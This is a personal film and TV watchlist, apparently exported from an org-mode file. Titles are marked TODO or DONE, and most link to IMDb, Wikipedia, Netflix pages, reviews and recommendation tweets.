&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt1605783/"&gt;Midnight in Paris (2011) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt0401711/"&gt;Paris, je t'aime (2006) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.com/Alice-in-Paris/dp/B077JDNP5Y"&gt;Watch Alice in Paris | Prime Video&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt9170638/"&gt;Plan Coeur (TV Series 2018– ) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://twitter.com/ericajoy/status/1307432451304644609"&gt;what good shows are streaming rn?&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://decider.com/movie/first-cow/"&gt;First Cow | Where to Stream and Watch | Decider&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.rollingstone.com/movies/movie-reviews/she-dies-tomorrow-movie-review-1034272/"&gt;'She Dies Tomorrow' Movie Review: A Person-to-Person Paranoia Pandemic&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.theringer.com/2020/7/14/21323785/palm-springs-the-years-most-fun-movie-plus-introducing-the-connect-shea-serrano-jason-concepcion"&gt;‘Palm Springs,’ 2020’s Most Fun Movie&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://eu.usatoday.com/story/entertainment/movies/2020/05/09/spaceship-earth-why-crazy-hulu-doc-must-watch-quarantine-viewing/3102031001/"&gt;'Spaceship Earth': Why crazy new doc is must-watch quarantine viewing&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://eu.freep.com/story/entertainment/movies/julie-hinds/2016/08/25/dont-breathe-horror-film-detroit/89304296/"&gt;'Don't Breathe' is latest movie to use Detroit as its scary setting&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt11394188/"&gt;Spaceship Earth (2020) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://zerokspot.com/reviews/"&gt;Reviews - zerokspot.com&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://lars.ingebrigtsen.no/2015/08/07/tsp2013-only-lovers-left-alive/"&gt;TSP2013: Only Lovers Left Alive – Random Thoughts&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://lars.ingebrigtsen.no/2015/07/25/tsp2008-burn-after-reading/"&gt;TSP2008: Burn After Reading – Random Thoughts&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://lars.ingebrigtsen.no/2015/07/31/tsp2009-the-limits-of-control/"&gt;TSP2009: The Limits of Control – Random Thoughts&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://lars.ingebrigtsen.no/2015/07/11/tsp2002-adaptation/"&gt;TSP2002: Adaptation. – Random Thoughts&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://lars.ingebrigtsen.no/2015/08/08/tsp2014-trainwreck/"&gt;TSP2015: Trainwreck – Random Thoughts&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://twitter.com/alixabeth/status/1290264151361761285"&gt;If you could wave a wand and instantly have more episodes of one TV series that has already concluded, which series would you pick?&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.wikipedia.org/wiki/The_Advisors_Alliance"&gt;The Advisors Alliance - Wikipedia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.flixist.com/the-300-coda-my-top-50-movies-of-2018-and-my-top-40-first-time-watches-of-older-films/amp/"&gt;The 300 Coda: My Top 50 Movies of 2018 and My Top 40&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.wikipedia.org/wiki/Green_Room_(film)"&gt;Green Room (film) - Wikipedia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://moviebabble.com/2020/07/09/relic-is-a-masterclass-in-independent-horror/"&gt;'Relic' is a Masterclass in Independent Horror | MovieBabble&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt0387898/"&gt;Hidden (Caché) (2005) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://lars.ingebrigtsen.no/2020/06/10/otb1-tokyo-story/"&gt;OTB#1: Tokyo Story – Random Thoughts&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.netflix.com/gb/title/81008221"&gt;Into the Night | Netflix Official Site&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt8101850/"&gt;Undone (TV Series 2019– ) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://moviebabble.com/2020/05/20/quarantine-staff-picks-part-7/"&gt;Quarantine Staff Picks: Part 7 | MovieBabble&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://moviebabble.com/2020/05/14/quarantine-staff-picks-part-6/"&gt;Quarantine Staff Picks: Part 6 | MovieBabble&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://moviebabble.com/2020/05/07/quarantine-staff-picks-part-5-wolf-stalker-loaded-weapon/"&gt;Quarantine Staff Picks: Part 5 | MovieBabble&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://moviebabble.com/2020/04/30/quarantine-staff-picks-part-4-the-player-my-friend-dahmer-gone-with-the-wind/"&gt;Quarantine Staff Picks: Part 4 | MovieBabble&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://moviebabble.com/2020/04/23/quarantine-staff-picks-part-3/"&gt;Quarantine Staff Picks: Part 3 | MovieBabble&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://moviebabble.com/2020/04/16/quarantine-staff-picks-part-2-once-upon-a-time-in-the-west-first-love-blue-ruin/"&gt;Quarantine Staff Picks: Part 2 | MovieBabble&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://moviebabble.com/2020/04/08/quarantine-staff-picks-part-1/"&gt;Quarantine Staff Picks: Part 1 | MovieBabble&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://moviebabble.com/2020/05/28/quarantine-staff-picks-part-8-little-women-blood-and-wine/"&gt;Quarantine Staff Picks: Part 8 | MovieBabble&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.hustwit.com/about"&gt;Gary Hustwit (filmography)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://news.ycombinator.com/item?id=23445245"&gt;Helvetica, a documentary on typography&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://twitter.com/FILMSHAWTY/status/1266029625626497031"&gt;twitter: black documentaries that assist in understanding racism, prejudice, police brutality, and more&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://moviebabble.com/"&gt;MovieBabble - The Casual Way to Discuss Movies&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://bitdepth.org/"&gt;bitdepth&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt7282468/"&gt;Burning (2018) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.rottentomatoes.com/m/american_honey"&gt;American Honey (2016) - Rotten Tomatoes&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Undone.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.wikipedia.org/wiki/The_Wire"&gt;The Wire - Wikipedia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.wikipedia.org/wiki/Ajin:_Demi-Human"&gt;Ajin: Demi-Human - Wikipedia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Halt and Catch Fire.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.essence.com/entertainment/a-beginners-guide-afrofuturism/"&gt;A Beginner's Guide To Afrofuturism: 7 Titles To Watch And Read&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://wiki.sunbeam.city/doku.php"&gt;Sunbeam city wiki: Solarpunk&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://twitter.com/ShamanOfThe/status/1250056585281523713"&gt;Goldmund on Twitter: Watched Fight Club, thought about it, and realized why …&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://twitter.com/chancethedev/status/1247619377735675904"&gt;Chance on Twitter: Post your favorite movie.&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://lars.ingebrigtsen.no/2019/03/22/nflx2019-january-4th-lionheart/"&gt;NFLX2019 January 4th: Lionheart – Random Thoughts&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://lars.ingebrigtsen.no/2019/03/22/nflx2019-january-18th-soni/"&gt;NFLX2019 January 18th: Soni – Random Thoughts&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://lars.ingebrigtsen.no/2020/01/04/nflx2019-december-31st-ghost-stories/"&gt;NFLX2019 December 31st: Ghost Stories – Random Thoughts&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://lars.ingebrigtsen.no/2019/11/22/nflx2019-november-15th-klaus/"&gt;NFLX2019 November 15th: Klaus – Random Thoughts&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://lars.ingebrigtsen.no/2019/10/18/nflx2019-october-18th-seventeen/"&gt;NFLX2019 October 18th: Seventeen – Random Thoughts&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://lars.ingebrigtsen.no/2019/08/24/nflx2019-august-2nd-otherhood/"&gt;NFLX2019 August 2nd: Otherhood – Random Thoughts&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://lars.ingebrigtsen.no/2019/05/31/nflx2019-may-30th-chopsticks/"&gt;NFLX2019 May 30th: Chopsticks – Random Thoughts&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://lars.ingebrigtsen.no/2019/05/25/nflx2019-may-24th-the-perfection/"&gt;NFLX2019 May 24th: The Perfection – Random Thoughts&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://lars.ingebrigtsen.no/2019/08/23/nflx2019-july-31st-the-red-sea-diving-resort/"&gt;NFLX2019 July 31st: The Red Sea Diving Resort – Random Thoughts&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/video/vi2416359961"&gt;Paris is Us&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.bfi.org.uk/films-tv-people/sightandsoundpoll2012/directors"&gt;Directors’ top 100 | BFI&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.wikipedia.org/wiki/It_Follows"&gt;It Follows - Wikipedia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.tasteofcinema.com/2016/the-20-best-cyberpunk-movies-of-all-time/"&gt;The 20 Best Cyberpunk Movies of All Time&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.netflix.com/gb/title/80232926"&gt;Ragnarok | Netflix Official Site&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.neondystopia.com/"&gt;Home – Neon Dystopia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Patriot (Amazon)&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} The Expanse (Amazon)&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} The Boys (Amazon)&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} The Last Kingdom (Netflix)&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} The Witcher (Netflix)&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Travelers (Netflix)&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} If I Only Hadn’t Met You (Netflix)&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Peaky Blinders (Netflix)&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Catch-22 (Hulu)&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.wikipedia.org/wiki/American_Factory"&gt;American Factory - Wikipedia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.netflix.com/gb/title/80221644"&gt;October Faction | Netflix Official Site&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.netflix.com/gb/title/81016857"&gt;Transfers | Netflix&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.netflix.com/gb/Title/81082327"&gt;Ad Vitam | Netflix Official Site&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.netflix.com/gb/title/81000509"&gt;On Children | Netflix Official Site&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.netflix.com/gb/title/80200596"&gt;Perfume | Netflix Official Site&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.netflix.com/gb/title/81037848"&gt;The Gift | Netflix Official Site&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.netflix.com/gb/title/80995039"&gt;Ares | Netflix Official Site&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.m.wikipedia.org/wiki/Demon_Slayer:_Kimetsu_no_Yaiba"&gt;Demon Slayer: Kimetsu no Yaiba - Wikipedia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.wikipedia.org/wiki/Yuri_on_Ice"&gt;Yuri on Ice&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://twitter.com/alicegoldfuss/status/1196527679127732224"&gt;Twitter: &amp;quot;Has anyone here seen Parasite?&amp;quot;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt2334879/"&gt;White House Down (2013) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt2179136/"&gt;American Sniper (2014) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Hannibal Burress, Hasan Minhaj, Neal Brennan, Dave Chappelle.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.wikipedia.org/wiki/The_Insider_(film)"&gt;The Insider (film) - Wikipedia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://twitter.com/alicegoldfuss/status/1166139660822663168"&gt;I need recommendations for shows/movies (preferably on Netflix)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.co.uk/gp/product/B000PE0H0E/"&gt;Taste of Tea&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://japanology.tv/"&gt;Japanology Episodes List&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www3.nhk.or.jp/nhkworld/en/tv/japanologyplus/"&gt;Japanology Plus - TV | NHK WORLD-JAPAN Live &amp;amp; Programs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.newyorker.com/culture/on-television/with-the-netflix-series-our-planet-david-attenborough-delivers-an-urgent-message"&gt;David Attenborough's Our Planet&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.wikipedia.org/wiki/Infernal_Affairs"&gt;Infernal Affairs - Wikipedia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://twitter.com/VictoriaAveyard/status/1106965397729767424"&gt;Victoria Aveyard on Twitter: &amp;quot;when your roommate asks for a Marvel watch list with commentary… &amp;quot;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.netflix.com/title/80240715?trkid=13710079&amp;amp;MSG_TITLE=80240715&amp;amp;lnktrk=EMP&amp;amp;g=34314DADF578FF8FA7BD72C94F6C8ED9645514B1&amp;amp;lkid=W2W_ROW_2_MDP_2"&gt;ROMA&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt5715874/"&gt;The Killing of a Sacred Deer (2017)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Private Life.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} You Were Never Really Here.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Sorry to Bother You.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Game Night.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Support the Girls.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Steven Yeun, Burning.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} A Simple Favor.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://news.ycombinator.com/item?id=18271167"&gt;Ask HN: Mind blowing documentaries?&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.theyshootpictures.com/21stcentury.htm"&gt;The 21st Century’s Most Acclaimed Films (including films from 2000)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.wikipedia.org/wiki/Koyaanisqatsi"&gt;Koyaanisqatsi&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt4000670/"&gt;Mifune: The Last Samurai (2015) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt1322313/"&gt;Sunshine Superman (2014) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.netflix.com/gb/title/80100869"&gt;Under the Sun (Netflix)&lt;/a&gt;: &amp;quot;Under the Sun keeps forcing us to ponder why we watch representations of real life and what we think we’re learning about reality in the process&amp;quot;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.netflix.com/gb/title/80107737"&gt;Peter and the Farm (Netflix)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.wikipedia.org/wiki/Lessons_of_Darkness"&gt;Lessons of Darkness - Wikipedia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.wikipedia.org/wiki/The_Story_of_Stuff"&gt;The story of stuff&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt0120894/?ref_=nm_flmg_act_42"&gt;Immortality&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Ichi the killer.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Audition.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} The Happiness of the Katakuris.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Agitator.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Gozu.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Outrage.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Minbo.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Blues harp.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Goyokin.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} The hidden blade.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Wild Tales.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} The Road.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Moon.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Who am I.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.openculture.com/2010/07/tarkovksy.html"&gt;Tarkovsky films&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.wikipedia.org/wiki/Snowpiercer"&gt;Snowpiercer&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.wikipedia.org/wiki/Kubo_and_the_Two_Strings"&gt;Kubo and the two strings&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Spotlight.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Creed.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Innocence of memories.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} The revenant.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Big short.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Pressure Cooker.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Bob and David.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Akira kurosawa director.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.imdb.com/title/tt0042192/"&gt;All About Eve&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.imdb.com/title/tt2321549/"&gt;Babadook&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.wikipedia.org/wiki/Death_to_Smoochy"&gt;Death to Smoochy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Enter the void, by gaspar noe.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.imdb.com/title/tt1671513/"&gt;Four horsemen&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Hirokazu koreeda director.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Naomi kawaze director.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Nostalghia.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Sion sono director.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Solyaris&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Stalker&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Takashi kitano director.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Takashi miike director.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.theconnection.tv/"&gt;The connection&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} The mirror&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.imdb.com/title/tt0078269/?ref_%3Dfn_al_tt_1"&gt;The Silent Partner&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Uncle boonmee who can recall his past lives, by apichatpong weerasethakul.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Waking life, by rickard linklater.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://xaharts.org/movie/best_movies.html"&gt;Xah Lee's movie list&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://m.imdb.com/title/tt2543312/"&gt;Halt and Catch Fire (TV Series 2014–2017) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} Twinsters.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} Mindhunter (Netflix)&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} Altered Carbon (Netflix)&lt;/p&gt;
&lt;p&gt;OBSOLETE Narcos (Netflix)&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} The Marvelous Mrs. Maisel (Amazon)&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} Sneaky Pete (Amazon)&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} Ozark (Netflix)&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} Midnight Diner: Tokyo Stories (Netflix)&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} Dark (Netflix)&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://www.netflix.com/gb/title/80097140"&gt;Altered Carbon | Netflix Official Site&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://www.reddit.com/r/UKPersonalFinance/comments/b4jwo6/the_men_who_made_us_spend_a_really_amazing_3_part/"&gt;The Men Who Made Us Spend - a really amazing 3 part documentary from the BBC on spending and consumerism&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://en.wikipedia.org/wiki/Annihilation_(film)"&gt;Annihilation (film) - Wikipedia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} 13 Assasins &amp;lt;2018-12-27 Thu&amp;gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} 7 Samurai &amp;lt;2018-12-27 Thu&amp;gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://www.imdb.com/title/tt6839788/"&gt;Dogs of Berlin (TV Series 2018– ) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://www.netflix.com/title/80209379?trkid=13710079&amp;amp;MSG_TITLE=80209379&amp;amp;lnktrk=EMP&amp;amp;g=E58636EBA68F4FFCE4B16798136D42876455394E&amp;amp;lkid=W2W_ROW_2_MDP_1"&gt;Tidying Up with Marie Kondo&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} The True cost.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="http://www.awaketheyoganandamovie.com/"&gt;Awake, the life of yogananda&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="http://www.imdb.com/title/tt2562232/"&gt;Birdman&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="http://www.imdb.com/title/tt1065073/"&gt;Boyhood&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} She A Chinese.&lt;/p&gt;
